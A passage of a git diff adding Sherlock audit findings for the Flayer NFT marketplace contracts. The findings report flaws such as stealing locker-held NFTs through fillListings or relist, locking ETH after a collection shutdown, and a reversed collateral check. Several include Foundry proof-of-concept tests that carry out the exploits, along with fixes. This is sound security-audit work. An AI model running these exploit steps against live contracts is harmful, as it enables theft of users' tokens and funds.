+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
+
+
+## Proof of Concept
+
+
+1.set MAINNET_RPC_URL with your key in `flayer/.env`
+
+`MAINNET_RPC_URL=https://mainnet.infura.io/v3/{YOUR_KEY_HERE} `
+
+2.add this poc in `flayer/test/utils/CollectionShutdown.t.sol`
+
+```solidity
+ function test_CanReclaimVote_bug_poc() public {
+
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(1), 1 ether);
+ vm.stopPrank();
+
+ // Start our vote from address(1)
+ vm.startPrank(address(1));
+ collectionToken.approve(address(collectionShutdown), 1 ether);
+ collectionShutdown.start(address(erc721b));
+ vm.stopPrank();
+
+ vm.startPrank(address(locker));
+ collectionToken.mint(address(2), 10 ether);
+ vm.stopPrank();
+
+ vm.startPrank(address(2));
+ //cancel the shutdown by address(2)
+ collectionShutdown.cancel(address(erc721b));
+ vm.stopPrank();
+
+ // We can now reclaim our vote
+ vm.prank(address(1));
+ vm.expectRevert();
+ //revert due to underflow
+ collectionShutdown.reclaimVote(address(erc721b));
+
+ }
+```
+
+3.run this test with cmd `forge test -vvv --match-test test_CanReclaimVote_bug_poc`
+
+
+## Impact
+
+This will cause loss to previous voters, since they can not reclaim their votes and lose the collection tokens.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+Do not simply delete `_collectionParams[_collection]` when canceling a collection shutdown.
\ No newline at end of file
diff --git a/001/029.md b/001/029.md
new file mode 100644
index 0000000..1ffc8b1
--- /dev/null
+++ b/001/029.md
@@ -0,0 +1,115 @@
+Ripe Zinc Duck
+
+High
+
+# Attacker can lock all ethers after shutdown executed and collection liquidation completed.
+
+## Summary
+When there are less than `MAX_SHUTDOWN_TOKENS` collection NFTs in the protocol, there will be shutdown vote. If totalSupply exceeds `MAX_SHUTDOWN_TOKENS`, after shutdown executed, attacker can cancel votes and lock all ethers into the contract forever.
+
+
+## Vulnerability Detail
+At first, the `CollectionShutdown.execute()` function is following.
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ locker.sunsetCollection(_collection);
+
+ // Iterate over our token IDs and transfer them to this contract
+ IERC721 collection = IERC721(_collection);
+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+ // Approve sudoswap pair factory to use our NFTs
+ collection.setApprovalForAll(address(pairFactory), true);
+
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+273: params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+As can be seen, admin can execute shutdown vote even if totalSupply exceeds `MAX_SHUTDOWN_TOKENS`. Also, the above function change the `params.canExecute` to `false` in `L273` after shutdown executed.
+
+Next, the `CollectionShutdown._vote()` function is following.
+```solidity
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
+ params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+ // Register the amount of votes sent as a whole, and store them against the user
+ params.shutdownVotes += uint96(userVotes);
+
+ // Register the amount of votes for the collection against the user
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+
+ emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+209: params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+
+ return params;
+ }
+```
+As can be seen, the above function doesn't check if vote has already executed, so attacker can vote using only 1 wei even after vote executed, and can change `params.canExecute` to `true` again in `L209`.
+After that, attacker can call `CollectionShutdown.cancel()` function and delete `_collectionParams[_collection]` totally.
+
+PoC:
+1. Assume that `denomination` is 1 and totalSupplay of a collection are `MAX_SHUTDOWN_TOKENS = 4 ethers`.
+2. Shutdown vote starts and the votes can execute since total votes are larger than quorum threshold.
+3. TotalSupply increases again and exceeds `MAX_SHUTDOWN_TOKENS` for some reason.
+4. Admin executes shutdown vote and transfer all NFTs of Locker to sweeper pool and swap them to ethers.
+5. Attacker votes using only 1 wei collectionToken (which he can buy in uniswap pool) and change `params.canExecute` to `true` again.
+6. Attacker calls `CollectionShutdown.cancel()` function and delete `_collectionParams[_collection]` totally.
+7. After collection liquidation completed, all protocol users can't claim ethers for their collectionTokens because `_collectionParams[_collection]` is deleted.
+
+
+## Impact
+Attacker can lock all ethers using only 1 wei collectionToken after shutdownn executed and collection liquidation completed.
+Here, not only voters but also other users can't claim ethers for their collectionToken holdings.
+
+## Code Snippet
+- [CollectionShutdown._vote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L191-L214)
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add check if vote has already executed into the `CollectionShutdown._vote()` function.
\ No newline at end of file
diff --git a/001/030.md b/001/030.md
new file mode 100644
index 0000000..d4231f2
--- /dev/null
+++ b/001/030.md
@@ -0,0 +1,131 @@
+Ripe Zinc Duck
+
+Medium
+
+# `Listings.createListings()` will be DoSed when frontend time doesn't sync with `block.timestamp`.
+
+## Summary
+When frontend calls `createListings()` function, it will sets `_createListings[i].listing.created` as current local timestamp which may be smaller than `block.timestamp`. Therefore, `createListings()` function will revert when local timestamp is smaller than `block.timestamp`.
+
+## Vulnerability Detail
+In order to create listings, frontend must call `Listings.createListings()` function. Then the function calls the following `_validateCreateListing()` function to check the validity of `listing` parameter.
+```solidity
+ function _validateCreateListing(CreateListing calldata _listing) private view {
+ // Ensure that our collection exists and is initialised
+ if (!locker.collectionInitialized(_listing.collection)) revert CollectionNotInitialized();
+
+ // Extract our listing
+ Listing calldata listing = _listing.listing;
+ --- SKIP ---
+ // Create our listing contract and map it
+279: Enums.ListingType listingType = getListingType(_listing.listing);
+ if (listingType == Enums.ListingType.DUTCH) {
+ // Ensure that the requested duration falls within our listing range
+ if (listing.duration < MIN_DUTCH_DURATION) revert ListingDurationBelowMin(listing.duration, MIN_DUTCH_DURATION);
+283: if (listing.duration > MAX_DUTCH_DURATION) revert ListingDurationExceedsMax(listing.duration, MAX_DUTCH_DURATION);
+
+ } else if (listingType == Enums.ListingType.LIQUID) {
+ --- SKIP ---
+ } else {
+ revert InvalidListingType();
+ }
+ }
+```
+The `Listings.getListingType()` function of `L279` is following.
+```solidity
+ function getListingType(Listing memory _listing) public view returns (Enums.ListingType) {
+ --- SKIP ---
+ // If the listing was created as a dutch listing, or if the liquid listing has
+ // expired, then this is a dutch listing.
+ if (
+ (_listing.duration >= MIN_DUTCH_DURATION && _listing.duration <= MAX_DUTCH_DURATION) ||
+973: _listing.created + _listing.duration < block.timestamp
+ ) {
+ return Enums.ListingType.DUTCH;
+ }
+ --- SKIP ---
+ }
+```
+Assume that `_listing.duration = 7 days` and `_listing.created = block.timestamp - 365 days`.
+As can be seen on `L973`, since `_listing.created + _listing.duration < block.timestamp` is true, the `getListingType()` function will return `Enums.ListingType.DUTCH` even if the `_listing.duration = 7 days` is greater than `MAX_DUTCH_DURATION = 7 days - 1`.
+Then, the `_validateCreateListing()` function will revert on `L283` because `_listing.duration` is greater than `MAX_DUTCH_DURATION`.
+But it should be created as `ListingType.LIQUID` type witout fail.
+
+When frontend calls `createListings()` function, it will sets `_createListings[i].listing.created` as current local timestamp which may be smaller than `block.timestamp`. Therefore, `createListings()` function will revert.
+
+PoC:
+Add the following test code into `Listings.t.sol`.
+```solidity
+ function test_localTimestampNotSyncedWithBlockTimestamp() public {
+ // Provide us with some base tokens that we can use to tax later on
+ uint startBalance = 1 ether;
+ deal(address(locker.collectionToken(address(erc721a))), address(this), startBalance);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ // Set up one listings
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = 0;
+ erc721a.mint(address(this), 0);
+ erc721a.setApprovalForAll(address(listings), true);
+
+ vm.warp(1000 days);
+
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp - 365 days), // local timestamp is 1 year smaller than block.timestamp
+ duration: 7 days,
+ floorMultiple: 120
+ })
+ });
+
+ // Create our listings
+ listings.createListings(_listings);
+ }
+```
+The result is as follows.
+```sh
+Failing tests:
+Encountered 1 failing test in test/Listings.t.sol:ListingsTest
+[FAIL. Reason: ListingDurationExceedsMax(604800 [6.048e5], 604799 [6.047e5])] test_localTimestampNotSyncedWithBlockTimestamp() (gas: 317304)
+```
+
+## Impact
+Local timestamp may be not synced with `block.timestamp` in many cases.
+Creating listings with `_listing.duration >= 7 days` will revert when local timestamp is smaller than `block.timestamp` which means DoS.
+
+## Code Snippet
+- [Listings.createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L166)
+- [Listings._validateCreateListing()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L262-L293)
+- [Listings.getListingType()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L962-L980)
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Set `_listing.created` as `block.timestamp` at the begining of `createListings()` function before calling `_validateCreateListing()` function as follows.
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint taxRequired;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+++ listing.listing.created = block.timestamp;
+ _validateCreateListing(listing);
+
+ --- SKIP ---
+ }
+ }
+```
diff --git a/001/032.md b/001/032.md
new file mode 100644
index 0000000..c438833
--- /dev/null
+++ b/001/032.md
@@ -0,0 +1,106 @@
+Wobbly Neon Hyena
+
+High
+
+# Users can call `Listings::fillListings` on unlisted NFTs, allowing them to steal NFTs deposited into the locker
+
+### Summary
+
+Users can deposit their tokens in the locker, and receive some tokens in return, these tokens should remain locked in that locket, until the token owner redeems/swaps that token. On the other hand, the `Listings` contract allows users to create listings for their tokens so that they can be sold for some price, when making a listing the NFT is sent to the locker:
+```solidity
+// We will leave a subset of the tokens inside this {Listings} contract as collateral or
+// listing fees. So rather than sending the tokens directly to the user, we need to first
+// receive them into this contract and then send some on.
+locker.deposit(_listing.collection, _listing.tokenIds, address(this));
+```
+Buying a token is done by calling `Listings::fillListings`, which withdraws the token from the locker to the buyer:
+```solidity
+// Transfer the listing ERC721 to the user
+locker.withdrawToken(_collection, _tokenId, msg.sender);
+```
+However, when filling out a listing, the contract doesn't check if a listing for the requested tokens exists, this allows any user to sweep NFTs deposited into the locker, by calling `Listings::fillListings` for that token.
+
+### Root Cause
+
+`Listings::fillListings` doesn't check if the listing exits before performing the filling of the request token, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528-L607).
+
+### Impact
+
+Users can steal "locked" tokens placed in the locker, without having a listing created for them.
+
+### PoC
+
+Add the following test in `flayer/test/Listings.t.sol`:
+
+```solidity
+function test_CanStealLockerNFT() public {
+ ICollectionToken collectionToken = ICollectionToken(
+ locker.collectionToken(address(erc721a))
+ );
+ address bob = address(1);
+ address alice = address(2);
+
+ uint256 bobTokenId = 0;
+
+ erc721a.mint(bob, bobTokenId);
+ deal(address(collectionToken), alice, 1 ether);
+
+ assertEq(erc721a.ownerOf(bobTokenId), bob);
+
+ // Bob deposits his token into the locker
+ vm.startPrank(bob);
+ uint256[] memory tokenIds = new uint256[](1);
+ erc721a.setApprovalForAll(address(locker), true);
+ locker.deposit(address(erc721a), tokenIds);
+ vm.stopPrank();
+
+ assertEq(erc721a.ownerOf(bobTokenId), address(locker));
+
+ // Alice calls fill listing on Bob's token, knowing no listing was created for it
+ vm.startPrank(alice);
+ uint256[][] memory tokenIdsOut = new uint256[][](1);
+ tokenIdsOut[0] = new uint256[](1);
+ tokenIdsOut[0][0] = bobTokenId;
+ collectionToken.approve(address(listings), 1 ether);
+ listings.fillListings(
+ IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ })
+ );
+ vm.stopPrank();
+
+ assertEq(erc721a.ownerOf(bobTokenId), address(alice));
+}
+```
+
+### Mitigation
+
+Check if valid listings exist for the tokens to be filled, by adding something like the following in `Listings::fillListings`:
+
+```diff
+function fillListings(
+ FillListingsParams calldata params
+) public nonReentrant lockerNotPaused {
+ ...
+
+ // Iterate over owners
+ for (
+ uint256 ownerIndex;
+ ownerIndex < params.tokenIdsOut.length;
+ ++ownerIndex
+ ) {
+ ...
+
+ // Reset our owner for the group as the first owner in the iteration
+ owner = _listings[collection][params.tokenIdsOut[ownerIndex][0]]
+ .owner;
+
++ if (owner == address(0)) revert ListingNotAvailable();
+
+ ...
+ }
+
+ ...
+}
+```
\ No newline at end of file
diff --git a/001/035.md b/001/035.md
new file mode 100644
index 0000000..4d4977f
--- /dev/null
+++ b/001/035.md
@@ -0,0 +1,77 @@
+Flaky Sable Hamster
+
+Medium
+
+# `listingCount` is not updated when floor token is directly relisted using `listing:relist()`
+
+## Summary
+`listingCount` is not updated when floor token is directly relisted using `listing:relist()`
+
+## Vulnerability Detail
+When a user list his tokens using `listing:createLinting()` then `listingCount` is increased by no. of tokens listed. Also a user can relist() a listed token.
+```solidity
+function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+...
+ // Increment our listings count
+ unchecked {
+@> listingCount[listing.collection] += tokensIdsLength;
+ }
+...
+ }
+```
+
+However, not only listed tokens but `floor tokens` (ie which is directly deposited in Locker.sol contract through Locker:deposit()) can also be directly relisted using relist(). But the problem is relist() doesn't increase the listingCount, which means when floor tokens are listed, they are not `counted`.
+[Listing:relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625C5-L672C6)
+
+This is happening because relist() `assumes` that only listed tokens can be `relisted`
+
+Let's the problem because of that:
+1. When a listed token is filled using `listing:fillListings()` then listedCount is decreased, but that is in unchecked box, which means it will silently `arithmetic underflow`
+```solidity
+function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+...
+ @> unchecked { listingCount[_collection] -= 1; }
+...
+ }
+```
+2. But the biggest problem is, `listingCount` is used in `CollectionShutdown.sol` to ensure that there is no listing of that collection before `executing` the collection sunset.
+```solidity
+function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+...
+ // Check that no listings currently exist
+@> if (_hasListings(_collection)) revert ListingsExist();
+...
+ }
+```
+```solidity
+ /**
+ * Checks if there are listings or protected listings for a collection.
+ */
+ function _hasListings(address _collection) internal view returns (bool) {
+ IListings listings = locker.listings();
+ if (address(listings) != address(0)) {
+@> if (listings.listingCount(_collection) != 0) {
+ return true;
+ }
+...
+ return false;
+ }
+```
+
+## Impact
+Collection will be `sunset`, even after having a `listing`. Also, listingCount in _fillListings() will silently arithmetic underflow
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625C4-L672C6
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L515
+
+## Tool used
+Manual Review
+
+## Recommendation
+Add a check in relist(), if `oldListing.owner == address(0)` then update the listingCount by 1
+```diff
++ if (oldListing.owner == address(0)) {
++ listingCount[_collection] += 1;
++ }
+```
\ No newline at end of file
diff --git a/001/036.md b/001/036.md
new file mode 100644
index 0000000..41c48f4
--- /dev/null
+++ b/001/036.md
@@ -0,0 +1,140 @@
+Wobbly Neon Hyena
+
+High
+
+# Users can call `Listings::relist` on unlisted NFTs, allowing them to steal NFTs deposited into the locker
+
+### Summary
+
+Users can deposit their tokens in the locker, and receive some tokens in return, these tokens should remain locked in that locket, until the token owner redeems/swaps that token. On the other hand, the `Listings` contract allows users to create listings for their tokens so that they can be sold for some price, when making a listing the NFT is sent to the locker:
+```solidity
+// We will leave a subset of the tokens inside this {Listings} contract as collateral or
+// listing fees. So rather than sending the tokens directly to the user, we need to first
+// receive them into this contract and then send some on.
+locker.deposit(_listing.collection, _listing.tokenIds, address(this));
+```
+Relisting a token allows users to buy and create a new listing of a specific token in one action, this is done by calling `Listings:: relist `, which creates a new listing under the caller's name:
+```solidity
+// Store our listing into our Listing mappings
+_listings[_collection][_tokenId] = listing;
+```
+However, when relisting a listing, the contract doesn't check if a listing for the requested tokens exists, this allows any user to sweep NFTs deposited into the locker, by calling `Listings::relist` for that token and have a new listing created for that token user their name.
+
+### Root Cause
+
+`Listings::relist` doesn't check if the listing exits before performing the relisting of the request token, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672).
+
+### Impact
+
+Users can steal "locked" tokens placed in the locker, without having a listing created for them.
+
+### PoC
+
+Add the following test in `flayer/test/Listings.t.sol`:
+
+```solidity
+function test_CanRelistUnlistedNFT() public {
+ uint256[] memory tokenIds = new uint256[](1);
+ ICollectionToken collectionToken = ICollectionToken(
+ locker.collectionToken(address(erc721a))
+ );
+ address bob = address(1);
+ address alice = address(2);
+
+ uint256 bobTokenId = 0;
+
+ erc721a.mint(bob, bobTokenId);
+ deal(address(collectionToken), alice, 1 ether);
+
+ // Bob deposits his token into the locker
+ vm.startPrank(bob);
+ erc721a.setApprovalForAll(address(locker), true);
+ locker.deposit(address(erc721a), tokenIds);
+ vm.stopPrank();
+
+ // listing doesn't exist
+ assertEq(
+ listings.listings(address(erc721a), bobTokenId).owner,
+ address(0)
+ );
+
+ // Alice calls relist lisintg on Bob's token, knowing no listing was created for it
+ vm.startPrank(alice);
+ collectionToken.approve(address(listings), 1 ether);
+ tokenIds[0] = bobTokenId;
+ listings.relist(
+ IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: payable(alice),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 120
+ })
+ }),
+ false
+ );
+ vm.stopPrank();
+
+ // Bob's token is now listed under Alice's name
+ assertEq(listings.listings(address(erc721a), bobTokenId).owner, alice);
+}
+```
+
+### Mitigation
+
+If the listing doesn't exist revert at the top of `Listings::relist`:
+
+```diff
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
++ if (oldListing.owner == address(0)) revert ListingNotAvailable();
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+ _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+}
+```
\ No newline at end of file
diff --git a/001/038.md b/001/038.md
new file mode 100644
index 0000000..f77ac26
--- /dev/null
+++ b/001/038.md
@@ -0,0 +1,89 @@
+Flaky Sable Hamster
+
+Medium
+
+# relist() can be used to `prevent` a tokenId from filling/selling with less than 0.15% of one collectionToken
+
+## Summary
+relist() can be used to `prevent` a tokenId from filling/selling with less than 0.15% of `1 collectionToken` due to not verifying `listings.created`
+
+## Vulnerability Detail
+Users can relist a tokenId, paying listingPrice & taxRequired. However, if the token is `floor token`(ie deposited in Locker.sol contract through Locker:deposit()) then user only have to pay taxRequired.
+
+Now, when a token is filled/sold using `fillListings()`, it checks whether `tokenId` is available to sold or not. If `listing.created` is in future then it returns `false` as availability.
+```solidity
+ function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+ // Get our listing information
+@> (bool isAvailable, uint price) = getListingPrice(_collection, _tokenId);
+...
+
+ // If the listing is invalid, then we prevent the buy
+@> if (!isAvailable) revert ListingNotAvailable();
+...
+ }
+```
+```solidity
+ function getListingPrice(address _collection, uint _tokenId) public view returns (bool isAvailable_, uint price_) {
+...
+ // This is an edge case, but protects against potential future logic. If the
+ // listing starts in the future, then we can't sell the listing.
+@> if (listing.created > block.timestamp) {
+ return (isAvailable_, totalPrice);
+ }
+...
+ }
+```
+To relist a tokenId, relist() takes CreateListing struct, which has a Listing struct that contains info like owner/ floorMultiple/ created/ duration.
+
+Now the problem is, `owner/ floorMultiple/ duration` are verified through `_validateCreateListing(listing)`, but `Listing.created` is not verified & directly set to `_listings` mapping, which means a user can pass Listing.created either in `past` or `future`.
+```solidity
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+...
+ // Load our new Listing into memory
+@> Listing memory listing = _listing.listing;
+
+...
+ // Validate our new listing
+@> _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+@> _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+ }
+```
+
+Lets see how a malicious user can exploit this to prevent a tokenId from selling/filling only with less than 0.15% of 1 collectionToken
+1. Suppose a user deposited tokenId = 1 in Locker.sol contract through deposit() & got 1e18 collectionToken(assuming denomination = 0)
+2. Malicious user relisted it using relist(), passing `floorMultiple = 101` & `duration = 1 days` & `created = in very future`. He will only pay `taxRequired`, not listingPrice as this is a floor/base token. Lets see how much tax malicious user have to pay..
+3. According to below code, taxRequired will be `(101 ** 2 * 1e12 * 86400) / 604800 =~ 1.428571e15`
+```solidity
+ function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+ }
+```
+4. If you calculate the percentage of `1.428571e15` out of `1 collectionToken` ie 1e18 then it would come out to be ~0.14%, which is nothing. But as we saw in above code, if listing.created is in future then can't be sold
+5. Malicious user can prevent `hundreds` of tokenId from selling, just with `1 collectionToken`
+
+## Impact
+Malicious user can prevent hundreds of tokenId from selling by setting their created time is very future
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L662
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L857C5-L859C10
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35C3-L44C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Instead of directly setting listing to _listing mapping, use `_mapListings()`, which is also used in `createListings()`. It sets the listing.created to block.timestamp
\ No newline at end of file
diff --git a/001/040.md b/001/040.md
new file mode 100644
index 0000000..2f284cb
--- /dev/null
+++ b/001/040.md
@@ -0,0 +1,69 @@
+Rhythmic Malachite Rabbit
+
+Medium
+
+# Protected listings with collateral can be unlocked because the collateral check is wrong.
+
+### Summary
+
+Protected listings with collateral can be unlocked because the collateral check is wrong.
+
+### Root Cause
+
+The collateral check for unlocking protected listings is incorrect.
+
+### Internal pre-conditions
+
+Wrong collateral check.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Protected listings with collateral can be unlocked because the collateral check is wrong.
+
+### PoC
+
+The collateral check being used when unlocking protected listings is incorrect.
+[ProtectedListings.sol#L296](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L296)
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ // @audit
+@> if (collateral < 0) revert InsufficientCollateral();
+ ...
+ }
+```
+The correct check is `if (collateral > 0)`.
+
+### Mitigation
+
+The protocol should correct the check this way to ensure that the listing has run out of collateral before unlocking the listing.
+
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
++ if (collateral > 0) revert listingHasCollateral();
+
+ }
+```
\ No newline at end of file
diff --git a/001/041.md b/001/041.md
new file mode 100644
index 0000000..eead78c
--- /dev/null
+++ b/001/041.md
@@ -0,0 +1,168 @@
+Wobbly Neon Hyena
+
+High
+
+# Wrong checkpoint index used in `ProtectedListings::createListings`, forcing users to pay more unlock price
+
+### Summary
+
+When creating a protected listing using `ProtectedListings::createListings`, a checkpoint index is assigned to the listing that can be later used when calculating the unlock price of the token:
+```solidity
+function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+}
+```
+The protocol checks if the stored index is 0, if so, it creates/uses the current index and stores it in the storage, this is implemented to make it gas-efficient so it is cached and quickly accessible. However, it doesn't take into consideration new checkpoints, let's have an example where the cached/saved index is 1 but the real index is 3, when `createListings` is called the index that is going to be used is 1 because the following condition is false:
+```solidity
+if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+}
+```
+
+This forces users to lose funds as they'll be forced to pay more money when unlocking their tokens, as the range between the listing's index and the current index will be greater than what it actually is
+
+### Root Cause
+
+`ProtectedListings::createListings` is not clearing the storage after creation forcing the index only to be 0 or 1, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156).
+
